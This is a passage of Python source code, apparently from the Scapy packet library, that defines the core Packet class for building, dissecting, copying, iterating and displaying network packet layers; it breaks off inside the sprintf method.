__future__ import absolute_import from __future__ import print_function from collections import defaultdict import re import time import itertools import copy import types import warnings from scapy.fields import StrField, ConditionalField, Emph, PacketListField, \ BitField, MultiEnumField, EnumField, FlagsField, MultipleTypeField from scapy.config import conf, _version_checker from scapy.compat import raw, orb, bytes_encode from scapy.base_classes import BasePacket, Gen, SetGen, Packet_metaclass, \ _CanvasDumpExtended from scapy.volatile import RandField, VolatileValue from scapy.utils import import_hexcap, tex_escape, colgen, issubtype, \ pretty_list from scapy.error import Scapy_Exception, log_runtime, warning from scapy.extlib import PYX import scapy.modules.six as six try: import pyx except ImportError: pass class RawVal: def __init__(self, val=""): self.val = val def __str__(self): return str(self.val) def __bytes__(self): return raw(self.val) def __repr__(self): return "" % self.val class Packet(six.with_metaclass(Packet_metaclass, BasePacket, _CanvasDumpExtended)): __slots__ = [ "time", "sent_time", "name", "default_fields", "fields", "fieldtype", "overload_fields", "overloaded_fields", "packetfields", "original", "explicit", "raw_packet_cache", "raw_packet_cache_fields", "_pkt", "post_transforms", # then payload and underlayer "payload", "underlayer", "name", # used for sr() "_answered", # used when sniffing "direction", "sniffed_on", # handle snaplen Vs real length "wirelen", ] name = None fields_desc = [] deprecated_fields = {} overload_fields = {} payload_guess = [] show_indent = 1 show_summary = True match_subclass = False class_dont_cache = dict() class_packetfields = dict() class_default_fields = dict() class_default_fields_ref = dict() class_fieldtype = dict() @classmethod def from_hexcap(cls): return cls(import_hexcap()) @classmethod def upper_bonds(self): for fval, upper in self.payload_guess: print("%-20s %s" % (upper.__name__, ", ".join("%-12s" % ("%s=%r" % i) for i in six.iteritems(fval)))) # noqa: E501 @classmethod def lower_bonds(self): for lower, fval in six.iteritems(self._overload_fields): print("%-20s %s" % (lower.__name__, ", ".join("%-12s" % ("%s=%r" % i) for i in six.iteritems(fval)))) # noqa: E501 def __reduce__(self): """Used by pickling methods""" return (self.__class__, (), ( self.build(), self.time, self.sent_time, self.direction, self.sniffed_on, self.wirelen, )) def __getstate__(self): """Mark object as pickable""" return self.__reduce__()[2] def __setstate__(self, state): """Rebuild state using pickable methods""" self.__init__(state[0]) self.time = state[1] self.sent_time = state[2] self.direction = state[3] self.sniffed_on = state[4] self.wirelen = state[5] return self def __deepcopy__(self, memo): """Used by copy.deepcopy""" return self.copy() def __init__(self, _pkt=b"", post_transform=None, _internal=0, _underlayer=None, **fields): # noqa: E501 self.time = time.time() self.sent_time = None self.name = (self.__class__.__name__ if self._name is None else self._name) self.default_fields = {} self.overload_fields = self._overload_fields self.overloaded_fields = {} self.fields = {} self.fieldtype = {} self.packetfields = [] self.payload = NoPayload() self.init_fields() self.underlayer = _underlayer self.original = _pkt self.explicit = 0 self.raw_packet_cache = None self.raw_packet_cache_fields = None self.wirelen = None self.direction = None self.sniffed_on = None if _pkt: self.dissect(_pkt) if not _internal: self.dissection_done(self) # We use this strange initialization so that the fields # are initialized in their declaration order. # It is required to always support MultipleTypeField for field in self.fields_desc: fname = field.name try: value = fields.pop(fname) except KeyError: continue self.fields[fname] = self.get_field(fname).any2i(self, value) # The remaining fields are unknown for fname in fields: if fname in self.deprecated_fields: # Resolve deprecated fields value = fields[fname] fname = self._resolve_alias(fname) self.fields[fname] = self.get_field(fname).any2i(self, value) continue raise AttributeError(fname) if isinstance(post_transform, list): self.post_transforms = post_transform elif post_transform is None: self.post_transforms = [] else: self.post_transforms = [post_transform] def init_fields(self): """ Initialize each fields of the fields_desc dict """ if self.class_dont_cache.get(self.__class__, False): self.do_init_fields(self.fields_desc) else: self.do_init_cached_fields() def do_init_fields(self, flist): """ Initialize each fields of the fields_desc dict """ default_fields = {} for f in flist: default_fields[f.name] = copy.deepcopy(f.default) self.fieldtype[f.name] = f if f.holds_packets: self.packetfields.append(f) # We set default_fields last to avoid race issues self.default_fields = default_fields def do_init_cached_fields(self): """ Initialize each fields of the fields_desc dict, or use the cached fields information """ cls_name = self.__class__ # Build the fields information if Packet.class_default_fields.get(cls_name, None) is None: self.prepare_cached_fields(self.fields_desc) # Use fields information from cache default_fields = Packet.class_default_fields.get(cls_name, None) if default_fields: self.default_fields = default_fields self.fieldtype = Packet.class_fieldtype[cls_name] self.packetfields = Packet.class_packetfields[cls_name] # Deepcopy default references for fname in Packet.class_default_fields_ref[cls_name]: value = self.default_fields[fname] try: self.fields[fname] = value.copy() except AttributeError: # Python 2.7 - list only self.fields[fname] = value[:] def prepare_cached_fields(self, flist): """ Prepare the cached fields of the fields_desc dict """ cls_name = self.__class__ # Fields cache initialization if not flist: return class_default_fields = dict() class_default_fields_ref = list() class_fieldtype = dict() class_packetfields = list() # Fields initialization for f in flist: if isinstance(f, MultipleTypeField): # Abort self.class_dont_cache[cls_name] = True self.do_init_fields(self.fields_desc) return tmp_copy = copy.deepcopy(f.default) class_default_fields[f.name] = tmp_copy class_fieldtype[f.name] = f if f.holds_packets: class_packetfields.append(f) # Remember references if isinstance(f.default, (list, dict, set, RandField, Packet)): class_default_fields_ref.append(f.name) # Apply Packet.class_default_fields_ref[cls_name] = class_default_fields_ref Packet.class_fieldtype[cls_name] = class_fieldtype Packet.class_packetfields[cls_name] = class_packetfields # Last to avoid racing issues Packet.class_default_fields[cls_name] = class_default_fields def dissection_done(self, pkt): """DEV: will be called after a dissection is completed""" self.post_dissection(pkt) self.payload.dissection_done(pkt) def post_dissection(self, pkt): """DEV: is called after the dissection of the whole packet""" pass def get_field(self, fld): """DEV: returns the field instance from the name of the field""" return self.fieldtype[fld] def add_payload(self, payload): if payload is None: return elif not isinstance(self.payload, NoPayload): self.payload.add_payload(payload) else: if isinstance(payload, Packet): self.payload = payload payload.add_underlayer(self) for t in self.aliastypes: if t in payload.overload_fields: self.overloaded_fields = payload.overload_fields[t] break elif isinstance(payload, bytes): self.payload = conf.raw_layer(load=payload) else: raise TypeError("payload must be either 'Packet' or 'bytes', not [%s]" % repr(payload)) # noqa: E501 def remove_payload(self): self.payload.remove_underlayer(self) self.payload = NoPayload() self.overloaded_fields = {} def add_underlayer(self, underlayer): self.underlayer = underlayer def remove_underlayer(self, other): self.underlayer = None def copy(self): """Returns a deep copy of the instance.""" clone = self.__class__() clone.fields = self.copy_fields_dict(self.fields) clone.default_fields = self.copy_fields_dict(self.default_fields) clone.overloaded_fields = self.overloaded_fields.copy() clone.underlayer = self.underlayer clone.explicit = self.explicit clone.raw_packet_cache = self.raw_packet_cache clone.raw_packet_cache_fields = self.copy_fields_dict( self.raw_packet_cache_fields ) clone.wirelen = self.wirelen clone.post_transforms = self.post_transforms[:] clone.payload = self.payload.copy() clone.payload.add_underlayer(clone) clone.time = self.time return clone def _resolve_alias(self, attr): new_attr, version = self.deprecated_fields[attr] warnings.warn( "%s has been deprecated in favor of %s since %s !" % ( attr, new_attr, version ), DeprecationWarning ) return new_attr def getfieldval(self, attr): if self.deprecated_fields and attr in self.deprecated_fields: attr = self._resolve_alias(attr) if attr in self.fields: return self.fields[attr] if attr in self.overloaded_fields: return self.overloaded_fields[attr] if attr in self.default_fields: return self.default_fields[attr] return self.payload.getfieldval(attr) def getfield_and_val(self, attr): if self.deprecated_fields and attr in self.deprecated_fields: attr = self._resolve_alias(attr) if attr in self.fields: return self.get_field(attr), self.fields[attr] if attr in self.overloaded_fields: return self.get_field(attr), self.overloaded_fields[attr] if attr in self.default_fields: return self.get_field(attr), self.default_fields[attr] def __getattr__(self, attr): try: fld, v = self.getfield_and_val(attr) except TypeError: return self.payload.__getattr__(attr) if fld is not None: return fld.i2h(self, v) return v def setfieldval(self, attr, val): if self.deprecated_fields and attr in self.deprecated_fields: attr = self._resolve_alias(attr) if attr in self.default_fields: fld = self.get_field(attr) if fld is None: any2i = lambda x, y: y else: any2i = fld.any2i self.fields[attr] = any2i(self, val) self.explicit = 0 self.raw_packet_cache = None self.raw_packet_cache_fields = None self.wirelen = None elif attr == "payload": self.remove_payload() self.add_payload(val) else: self.payload.setfieldval(attr, val) def __setattr__(self, attr, val): if attr in self.__all_slots__: if attr == "sent_time": self.update_sent_time(val) return object.__setattr__(self, attr, val) try: return self.setfieldval(attr, val) except AttributeError: pass return object.__setattr__(self, attr, val) def delfieldval(self, attr): if attr in self.fields: del(self.fields[attr]) self.explicit = 0 # in case a default value must be explicit self.raw_packet_cache = None self.raw_packet_cache_fields = None self.wirelen = None elif attr in self.default_fields: pass elif attr == "payload": self.remove_payload() else: self.payload.delfieldval(attr) def __delattr__(self, attr): if attr == "payload": return self.remove_payload() if attr in self.__all_slots__: return object.__delattr__(self, attr) try: return self.delfieldval(attr) except AttributeError: pass return object.__delattr__(self, attr) def _superdir(self): """ Return a list of slots and methods, including those from subclasses. """ attrs = set() cls = self.__class__ if hasattr(cls, '__all_slots__'): attrs.update(cls.__all_slots__) for bcls in cls.__mro__: if hasattr(bcls, '__dict__'): attrs.update(bcls.__dict__) return attrs def __dir__(self): """ Add fields to tab completion list. """ return sorted(itertools.chain(self._superdir(), self.default_fields)) def __repr__(self): s = "" ct = conf.color_theme for f in self.fields_desc: if isinstance(f, ConditionalField) and not f._evalcond(self): continue if f.name in self.fields: fval = self.fields[f.name] if isinstance(fval, (list, dict, set)) and len(fval) == 0: continue val = f.i2repr(self, fval) elif f.name in self.overloaded_fields: fover = self.overloaded_fields[f.name] if isinstance(fover, (list, dict, set)) and len(fover) == 0: continue val = f.i2repr(self, fover) else: continue if isinstance(f, Emph) or f in conf.emph: ncol = ct.emph_field_name vcol = ct.emph_field_value else: ncol = ct.field_name vcol = ct.field_value s += " %s%s%s" % (ncol(f.name), ct.punct("="), vcol(val)) return "%s%s %s %s%s%s" % (ct.punct("<"), ct.layer_name(self.__class__.__name__), s, ct.punct("|"), repr(self.payload), ct.punct(">")) if six.PY2: def __str__(self): return self.build() else: def __str__(self): warning("Calling str(pkt) on Python 3 makes no sense!") return str(self.build()) def __bytes__(self): return self.build() def __div__(self, other): if isinstance(other, Packet): cloneA = self.copy() cloneB = other.copy() cloneA.add_payload(cloneB) return cloneA elif isinstance(other, (bytes, str)): return self / conf.raw_layer(load=other) else: return other.__rdiv__(self) __truediv__ = __div__ def __rdiv__(self, other): if isinstance(other, (bytes, str)): return conf.raw_layer(load=other) / self else: raise TypeError __rtruediv__ = __rdiv__ def __mul__(self, other): if isinstance(other, int): return [self] * other else: raise TypeError def __rmul__(self, other): return self.__mul__(other) def __nonzero__(self): return True __bool__ = __nonzero__ def __len__(self): return len(self.__bytes__()) def copy_field_value(self, fieldname, value): return self.get_field(fieldname).do_copy(value) def copy_fields_dict(self, fields): if fields is None: return None return {fname: self.copy_field_value(fname, fval) for fname, fval in six.iteritems(fields)} def clear_cache(self): """Clear the raw packet cache for the field and all its subfields""" self.raw_packet_cache = None for fld, fval in six.iteritems(self.fields): fld = self.get_field(fld) if fld.holds_packets: if isinstance(fval, Packet): fval.clear_cache() elif isinstance(fval, list): for fsubval in fval: fsubval.clear_cache() self.payload.clear_cache() def self_build(self, field_pos_list=None): """ Create the default layer regarding fields_desc dict :param field_pos_list: """ if self.raw_packet_cache is not None: for fname, fval in six.iteritems(self.raw_packet_cache_fields): if self.getfieldval(fname) != fval: self.raw_packet_cache = None self.raw_packet_cache_fields = None self.wirelen = None break if self.raw_packet_cache is not None: return self.raw_packet_cache p = b"" for f in self.fields_desc: val = self.getfieldval(f.name) if isinstance(val, RawVal): sval = raw(val) p += sval if field_pos_list is not None: field_pos_list.append((f.name, sval.encode("string_escape"), len(p), len(sval))) # noqa: E501 else: p = f.addfield(self, p, val) return p def do_build_payload(self): """ Create the default version of the payload layer :return: a string of payload layer """ return self.payload.do_build() def do_build(self): """ Create the default version of the layer :return: a string of the packet with the payload """ if not self.explicit: self = next(iter(self)) pkt = self.self_build() for t in self.post_transforms: pkt = t(pkt) pay = self.do_build_payload() if self.raw_packet_cache is None: return self.post_build(pkt, pay) else: return pkt + pay def build_padding(self): return self.payload.build_padding() def build(self): """ Create the current layer :return: string of the packet with the payload """ p = self.do_build() p += self.build_padding() p = self.build_done(p) return p def post_build(self, pkt, pay): """ DEV: called right after the current layer is build. :param str pkt: the current packet (build by self_buil function) :param str pay: the packet payload (build by do_build_payload function) :return: a string of the packet with the payload """ return pkt + pay def build_done(self, p): return self.payload.build_done(p) def do_build_ps(self): p = b"" pl = [] q = b"" for f in self.fields_desc: if isinstance(f, ConditionalField) and not f._evalcond(self): continue p = f.addfield(self, p, self.getfieldval(f.name)) if isinstance(p, bytes): r = p[len(q):] q = p else: r = b"" pl.append((f, f.i2repr(self, self.getfieldval(f.name)), r)) pkt, lst = self.payload.build_ps(internal=1) p += pkt lst.append((self, pl)) return p, lst def build_ps(self, internal=0): p, lst = self.do_build_ps() # if not internal: # pkt = self # while pkt.haslayer(conf.padding_layer): # pkt = pkt.getlayer(conf.padding_layer) # lst.append( (pkt, [ ("loakjkjd", pkt.load, pkt.load) ] ) ) # p += pkt.load # pkt = pkt.payload return p, lst def canvas_dump(self, layer_shift=0, rebuild=1): if PYX == 0: raise ImportError("PyX and its dependencies must be installed") canvas = pyx.canvas.canvas() if rebuild: _, t = self.__class__(raw(self)).build_ps() else: _, t = self.build_ps() YTXT = len(t) for _, l in t: YTXT += len(l) YTXT = float(YTXT) YDUMP = YTXT XSTART = 1 XDSTART = 10 y = 0.0 yd = 0.0 XMUL = 0.55 YMUL = 0.4 backcolor = colgen(0.6, 0.8, 1.0, trans=pyx.color.rgb) forecolor = colgen(0.2, 0.5, 0.8, trans=pyx.color.rgb) # backcolor=makecol(0.376, 0.729, 0.525, 1.0) def hexstr(x): return " ".join("%02x" % orb(c) for c in x) def make_dump_txt(x, y, txt): return pyx.text.text(XDSTART + x * XMUL, (YDUMP - y) * YMUL, r"\tt{%s}" % hexstr(txt), [pyx.text.size.Large]) # noqa: E501 def make_box(o): return pyx.box.rect(o.left(), o.bottom(), o.width(), o.height(), relcenter=(0.5, 0.5)) # noqa: E501 def make_frame(lst): if len(lst) == 1: b = lst[0].bbox() b.enlarge(pyx.unit.u_pt) return b.path() else: fb = lst[0].bbox() fb.enlarge(pyx.unit.u_pt) lb = lst[-1].bbox() lb.enlarge(pyx.unit.u_pt) if len(lst) == 2 and fb.left() > lb.right(): return pyx.path.path(pyx.path.moveto(fb.right(), fb.top()), pyx.path.lineto(fb.left(), fb.top()), pyx.path.lineto(fb.left(), fb.bottom()), # noqa: E501 pyx.path.lineto(fb.right(), fb.bottom()), # noqa: E501 pyx.path.moveto(lb.left(), lb.top()), pyx.path.lineto(lb.right(), lb.top()), pyx.path.lineto(lb.right(), lb.bottom()), # noqa: E501 pyx.path.lineto(lb.left(), lb.bottom())) # noqa: E501 else: # XXX gb = lst[1].bbox() if gb != lb: gb.enlarge(pyx.unit.u_pt) kb = lst[-2].bbox() if kb != gb and kb != lb: kb.enlarge(pyx.unit.u_pt) return pyx.path.path(pyx.path.moveto(fb.left(), fb.top()), pyx.path.lineto(fb.right(), fb.top()), pyx.path.lineto(fb.right(), kb.bottom()), # noqa: E501 pyx.path.lineto(lb.right(), kb.bottom()), # noqa: E501 pyx.path.lineto(lb.right(), lb.bottom()), # noqa: E501 pyx.path.lineto(lb.left(), lb.bottom()), # noqa: E501 pyx.path.lineto(lb.left(), gb.top()), pyx.path.lineto(fb.left(), gb.top()), pyx.path.closepath(),) def make_dump(s, shift=0, y=0, col=None, bkcol=None, large=16): c = pyx.canvas.canvas() tlist = [] while s: dmp, s = s[:large - shift], s[large - shift:] txt = make_dump_txt(shift, y, dmp) tlist.append(txt) shift += len(dmp) if shift >= 16: shift = 0 y += 1 if col is None: col = pyx.color.rgb.red if bkcol is None: bkcol = pyx.color.rgb.white c.stroke(make_frame(tlist), [col, pyx.deco.filled([bkcol]), pyx.style.linewidth.Thick]) # noqa: E501 for txt in tlist: c.insert(txt) return c, tlist[-1].bbox(), shift, y last_shift, last_y = 0, 0.0 while t: bkcol = next(backcolor) proto, fields = t.pop() y += 0.5 pt = pyx.text.text(XSTART, (YTXT - y) * YMUL, r"\font\cmssfont=cmss10\cmssfont{%s}" % tex_escape(proto.name), [pyx.text.size.Large]) # noqa: E501 y += 1 ptbb = pt.bbox() ptbb.enlarge(pyx.unit.u_pt * 2) canvas.stroke(ptbb.path(), [pyx.color.rgb.black, pyx.deco.filled([bkcol])]) # noqa: E501 canvas.insert(pt) for field, fval, fdump in fields: col = next(forecolor) ft = pyx.text.text(XSTART, (YTXT - y) * YMUL, r"\font\cmssfont=cmss10\cmssfont{%s}" % tex_escape(field.name)) # noqa: E501 if isinstance(field, BitField): fsize = '%sb' % field.size else: fsize = '%sB' % len(fdump) if (hasattr(field, 'field') and 'LE' in field.field.__class__.__name__[:3] or 'LE' in field.__class__.__name__[:3]): fsize = r'$\scriptstyle\langle$' + fsize st = pyx.text.text(XSTART + 3.4, (YTXT - y) * YMUL, r"\font\cmbxfont=cmssbx10 scaled 600\cmbxfont{%s}" % fsize, [pyx.text.halign.boxright]) # noqa: E501 if isinstance(fval, str): if len(fval) > 18: fval = fval[:18] + "[...]" else: fval = "" vt = pyx.text.text(XSTART + 3.5, (YTXT - y) * YMUL, r"\font\cmssfont=cmss10\cmssfont{%s}" % tex_escape(fval)) # noqa: E501 y += 1.0 if fdump: dt, target, last_shift, last_y = make_dump(fdump, last_shift, last_y, col, bkcol) # noqa: E501 dtb = target vtb = vt.bbox() bxvt = make_box(vtb) bxdt = make_box(dtb) dtb.enlarge(pyx.unit.u_pt) try: if yd < 0: cnx = pyx.connector.curve(bxvt, bxdt, absangle1=0, absangle2=-90) # noqa: E501 else: cnx = pyx.connector.curve(bxvt, bxdt, absangle1=0, absangle2=90) # noqa: E501 except Exception: pass else: canvas.stroke(cnx, [pyx.style.linewidth.thin, pyx.deco.earrow.small, col]) # noqa: E501 canvas.insert(dt) canvas.insert(ft) canvas.insert(st) canvas.insert(vt) last_y += layer_shift return canvas def extract_padding(self, s): """ DEV: to be overloaded to extract current layer's padding. :param str s: the current layer :return: a couple of strings (actual layer, padding) """ return s, None def post_dissect(self, s): """DEV: is called right after the current layer has been dissected""" return s def pre_dissect(self, s): """DEV: is called right before the current layer is dissected""" return s def do_dissect(self, s): _raw = s self.raw_packet_cache_fields = {} for f in self.fields_desc: if not s: break s, fval = f.getfield(self, s) # We need to track fields with mutable values to discard # .raw_packet_cache when needed. if f.islist or f.holds_packets or f.ismutable: self.raw_packet_cache_fields[f.name] = f.do_copy(fval) self.fields[f.name] = fval self.raw_packet_cache = _raw[:-len(s)] if s else _raw self.explicit = 1 return s def do_dissect_payload(self, s): """ Perform the dissection of the layer's payload :param str s: the raw layer """ if s: cls = self.guess_payload_class(s) try: p = cls(s, _internal=1, _underlayer=self) except KeyboardInterrupt: raise except Exception: if conf.debug_dissector: if issubtype(cls, Packet): log_runtime.error("%s dissector failed" % cls.__name__) else: log_runtime.error("%s.guess_payload_class() returned [%s]" % (self.__class__.__name__, repr(cls))) # noqa: E501 if cls is not None: raise p = conf.raw_layer(s, _internal=1, _underlayer=self) self.add_payload(p) def dissect(self, s): s = self.pre_dissect(s) s = self.do_dissect(s) s = self.post_dissect(s) payl, pad = self.extract_padding(s) self.do_dissect_payload(payl) if pad and conf.padding: self.add_payload(conf.padding_layer(pad)) def guess_payload_class(self, payload): """ DEV: Guesses the next payload class from layer bonds. Can be overloaded to use a different mechanism. :param str payload: the layer's payload :return: the payload class """ for t in self.aliastypes: for fval, cls in t.payload_guess: try: if all(v == self.getfieldval(k) for k, v in six.iteritems(fval)): return cls except AttributeError: pass return self.default_payload_class(payload) def default_payload_class(self, payload): """ DEV: Returns the default payload class if nothing has been found by the guess_payload_class() method. :param str payload: the layer's payload :return: the default payload class define inside the configuration file """ return conf.raw_layer def hide_defaults(self): """Removes fields' values that are the same as default values.""" # use list(): self.fields is modified in the loop for k, v in list(six.iteritems(self.fields)): v = self.fields[k] if k in self.default_fields: if self.default_fields[k] == v: del self.fields[k] self.payload.hide_defaults() def update_sent_time(self, time): """Use by clone_with to share the sent_time value""" pass def clone_with(self, payload=None, share_time=False, **kargs): pkt = self.__class__() pkt.explicit = 1 pkt.fields = kargs pkt.default_fields = self.copy_fields_dict(self.default_fields) pkt.overloaded_fields = self.overloaded_fields.copy() pkt.time = self.time pkt.underlayer = self.underlayer pkt.post_transforms = self.post_transforms pkt.raw_packet_cache = self.raw_packet_cache pkt.raw_packet_cache_fields = self.copy_fields_dict( self.raw_packet_cache_fields ) pkt.wirelen = self.wirelen if payload is not None: pkt.add_payload(payload) if share_time: # This binds the subpacket .sent_time to this layer def _up_time(x, parent=self): parent.sent_time = x pkt.update_sent_time = _up_time return pkt def __iter__(self): """Iterates through all sub-packets generated by this Packet.""" # We use __iterlen__ as low as possible, to lower processing time def loop(todo, done, self=self): if todo: eltname = todo.pop() elt = self.getfieldval(eltname) if not isinstance(elt, Gen): if self.get_field(eltname).islist: elt = SetGen([elt]) else: elt = SetGen(elt) for e in elt: done[eltname] = e for x in loop(todo[:], done): yield x else: if isinstance(self.payload, NoPayload): payloads = SetGen([None]) else: payloads = self.payload share_time = False if self.fields == done and payloads.__iterlen__() == 1: # In this case, the packets are identical. Let's bind # their sent_time attribute for sending purpose share_time = True for payl in payloads: # Let's make sure subpackets are consistent done2 = done.copy() for k in done2: if isinstance(done2[k], VolatileValue): done2[k] = done2[k]._fix() pkt = self.clone_with(payload=payl, share_time=share_time, **done2) yield pkt if self.explicit or self.raw_packet_cache is not None: todo = [] done = self.fields else: todo = [k for (k, v) in itertools.chain(six.iteritems(self.default_fields), # noqa: E501 six.iteritems(self.overloaded_fields)) # noqa: E501 if isinstance(v, VolatileValue)] + list(self.fields) done = {} return loop(todo, done) def __iterlen__(self): """Predict the total length of the iterator""" fields = [key for (key, val) in itertools.chain(six.iteritems(self.default_fields), # noqa: E501 six.iteritems(self.overloaded_fields)) if isinstance(val, VolatileValue)] + list(self.fields) length = 1 def is_valid_gen_tuple(x): if not isinstance(x, tuple): return False return len(x) == 2 and all(isinstance(z, int) for z in x) for field in fields: fld, val = self.getfield_and_val(field) if hasattr(val, "__iterlen__"): length *= val.__iterlen__() elif is_valid_gen_tuple(val): length *= (val[1] - val[0] + 1) elif isinstance(val, list) and not fld.islist: len2 = 0 for x in val: if hasattr(x, "__iterlen__"): len2 += x.__iterlen__() elif is_valid_gen_tuple(x): len2 += (x[1] - x[0] + 1) elif isinstance(x, list): len2 += len(x) else: len2 += 1 length *= len2 or 1 if not isinstance(self.payload, NoPayload): return length * self.payload.__iterlen__() return length def iterpayloads(self): """Used to iter through the payloads of a Packet. Useful for DNS or 802.11 for instance. """ yield self current = self while current.payload: current = current.payload yield current def __gt__(self, other): """True if other is an answer from self (self ==> other).""" if isinstance(other, Packet): return other < self elif isinstance(other, bytes): return 1 else: raise TypeError((self, other)) def __lt__(self, other): """True if self is an answer from other (other ==> self).""" if isinstance(other, Packet): return self.answers(other) elif isinstance(other, bytes): return 1 else: raise TypeError((self, other)) def __eq__(self, other): if not isinstance(other, self.__class__): return False for f in self.fields_desc: if f not in other.fields_desc: return False if self.getfieldval(f.name) != other.getfieldval(f.name): return False return self.payload == other.payload def __ne__(self, other): return not self.__eq__(other) __hash__ = None def hashret(self): """DEV: returns a string that has the same value for a request and its answer.""" return self.payload.hashret() def answers(self, other): """DEV: true if self is an answer from other""" if other.__class__ == self.__class__: return self.payload.answers(other.payload) return 0 def layers(self): """returns a list of layer classes (including subclasses) in this packet""" # noqa: E501 layers = [] lyr = self while lyr: layers.append(lyr.__class__) lyr = lyr.payload.getlayer(0, _subclass=True) return layers def haslayer(self, cls, _subclass=None): """ true if self has a layer that is an instance of cls. Superseded by "cls in self" syntax. """ if _subclass is None: _subclass = self.match_subclass or None if _subclass: match = issubtype else: match = lambda cls1, cls2: cls1 == cls2 if cls is None or match(self.__class__, cls) \ or cls in [self.__class__.__name__, self._name]: return True for f in self.packetfields: fvalue_gen = self.getfieldval(f.name) if fvalue_gen is None: continue if not f.islist: fvalue_gen = SetGen(fvalue_gen, _iterpacket=0) for fvalue in fvalue_gen: if isinstance(fvalue, Packet): ret = fvalue.haslayer(cls, _subclass=_subclass) if ret: return ret return self.payload.haslayer(cls, _subclass=_subclass) def getlayer(self, cls, nb=1, _track=None, _subclass=None, **flt): """Return the nb^th layer that is an instance of cls, matching flt values. """ if _subclass is None: _subclass = self.match_subclass or None if _subclass: match = issubtype else: match = lambda cls1, cls2: cls1 == cls2 if isinstance(cls, int): nb = cls + 1 cls = None if isinstance(cls, str) and "." in cls: ccls, fld = cls.split(".", 1) else: ccls, fld = cls, None if cls is None or match(self.__class__, cls) \ or ccls in [self.__class__.__name__, self._name]: if all(self.getfieldval(fldname) == fldvalue for fldname, fldvalue in six.iteritems(flt)): if nb == 1: if fld is None: return self else: return self.getfieldval(fld) else: nb -= 1 for f in self.packetfields: fvalue_gen = self.getfieldval(f.name) if fvalue_gen is None: continue if not f.islist: fvalue_gen = SetGen(fvalue_gen, _iterpacket=0) for fvalue in fvalue_gen: if isinstance(fvalue, Packet): track = [] ret = fvalue.getlayer(cls, nb=nb, _track=track, _subclass=_subclass, **flt) if ret is not None: return ret nb = track[0] return self.payload.getlayer(cls, nb=nb, _track=_track, _subclass=_subclass, **flt) def firstlayer(self): q = self while q.underlayer is not None: q = q.underlayer return q def __getitem__(self, cls): if isinstance(cls, slice): lname = cls.start if cls.stop: ret = self.getlayer(cls.start, nb=cls.stop, **(cls.step or {})) else: ret = self.getlayer(cls.start, **(cls.step or {})) else: lname = cls ret = self.getlayer(cls) if ret is None: if isinstance(lname, Packet_metaclass): lname = lname.__name__ elif not isinstance(lname, bytes): lname = repr(lname) raise IndexError("Layer [%s] not found" % lname) return ret def __delitem__(self, cls): del(self[cls].underlayer.payload) def __setitem__(self, cls, val): self[cls].underlayer.payload = val def __contains__(self, cls): """"cls in self" returns true if self has a layer which is an instance of cls.""" # noqa: E501 return self.haslayer(cls) def route(self): return self.payload.route() def fragment(self, *args, **kargs): return self.payload.fragment(*args, **kargs) def display(self, *args, **kargs): # Deprecated. Use show() """Deprecated. Use show() method.""" self.show(*args, **kargs) def _show_or_dump(self, dump=False, indent=3, lvl="", label_lvl="", first_call=True): # noqa: E501 """ Internal method that shows or dumps a hierarchical view of a packet. Called by show. :param dump: determine if it prints or returns the string value :param int indent: the size of indentation for each layer :param str lvl: additional information about the layer lvl :param str label_lvl: additional information about the layer fields :param first_call: determine if the current function is the first :return: return a hierarchical view if dump, else print it """ if dump: from scapy.themes import AnsiColorTheme ct = AnsiColorTheme() # No color for dump output else: ct = conf.color_theme s = "%s%s %s %s \n" % (label_lvl, ct.punct("###["), ct.layer_name(self.name), ct.punct("]###")) for f in self.fields_desc: if isinstance(f, ConditionalField) and not f._evalcond(self): continue if isinstance(f, Emph) or f in conf.emph: ncol = ct.emph_field_name vcol = ct.emph_field_value else: ncol = ct.field_name vcol = ct.field_value fvalue = self.getfieldval(f.name) if isinstance(fvalue, Packet) or (f.islist and f.holds_packets and isinstance(fvalue, list)): # noqa: E501 s += "%s \\%-10s\\\n" % (label_lvl + lvl, ncol(f.name)) fvalue_gen = SetGen(fvalue, _iterpacket=0) for fvalue in fvalue_gen: s += fvalue._show_or_dump(dump=dump, indent=indent, label_lvl=label_lvl + lvl + " |", first_call=False) # noqa: E501 else: begn = "%s %-10s%s " % (label_lvl + lvl, ncol(f.name), ct.punct("="),) reprval = f.i2repr(self, fvalue) if isinstance(reprval, str): reprval = reprval.replace("\n", "\n" + " " * (len(label_lvl) + # noqa: E501 len(lvl) + len(f.name) + 4)) s += "%s%s\n" % (begn, vcol(reprval)) if self.payload: s += self.payload._show_or_dump(dump=dump, indent=indent, lvl=lvl + (" " * indent * self.show_indent), label_lvl=label_lvl, first_call=False) # noqa: E501 if first_call and not dump: print(s) else: return s def show(self, dump=False, indent=3, lvl="", label_lvl=""): """ Prints or returns (when "dump" is true) a hierarchical view of the packet. :param dump: determine if it prints or returns the string value :param int indent: the size of indentation for each layer :param str lvl: additional information about the layer lvl :param str label_lvl: additional information about the layer fields :return: return a hierarchical view if dump, else print it """ return self._show_or_dump(dump, indent, lvl, label_lvl) def show2(self, dump=False, indent=3, lvl="", label_lvl=""): """ Prints or returns (when "dump" is true) a hierarchical view of an assembled version of the packet, so that automatic fields are calculated (checksums, etc.) :param dump: determine if it prints or returns the string value :param int indent: the size of indentation for each layer :param str lvl: additional information about the layer lvl :param str label_lvl: additional information about the layer fields :return: return a hierarchical view if dump, else print it """ return self.__class__(raw(self)).show(dump, indent, lvl, label_lvl) def sprintf(self, fmt, relax=1): """ sprintf(format, [relax=1]) -> str Where format is a string that can include directives. A directive begins and ends by % and has the following format: ``%[fmt[r],][cls[:nb].]field%`` :param fmt: is a classic printf directive, "r" can be appended for raw substitution: (ex: IP.flags=0x18 instead of SA), nb is the number of the layer (ex: for IP/IP packets, IP:2.src is the src of the upper IP layer). Special case : "%.time%" is the creation time. Ex:: p.sprintf( "%.time% %-15s,IP.src% -> %-15s,IP.dst% %IP.chksum% " "%03xr,IP.proto% %r,TCP.flags%" ) Moreover, the format string can include conditional statements. A conditional statement looks like : {layer:string} where layer is a layer name, and string is the string to insert in place of the condition if it is true, i.e. if layer is present. If layer is preceded by a "!", the result is inverted. Conditions can be imbricated. A valid statement can be:: p.sprintf("This is a{TCP: TCP}{UDP: UDP}{ICMP:n ICMP} packet") p.sprintf("{IP:%IP.dst% {ICMP:%ICMP.type%}{TCP:%TCP.dport%}}") A side effect is that, to obtain "{" and "}" characters, you must use "%(" and "%)". """ escape = {"%": "%", "(": "{", ")": "}"} # Evaluate conditions while "{" in fmt: i = fmt.rindex("{") j = fmt[i + 1:].index("}") cond = fmt[i + 1:i + j + 1] k = cond.find(":") if k < 0: raise Scapy_Exception("Bad condition in format string: [%s] (read sprintf doc!)" % cond) # noqa: E501 cond, format_ = 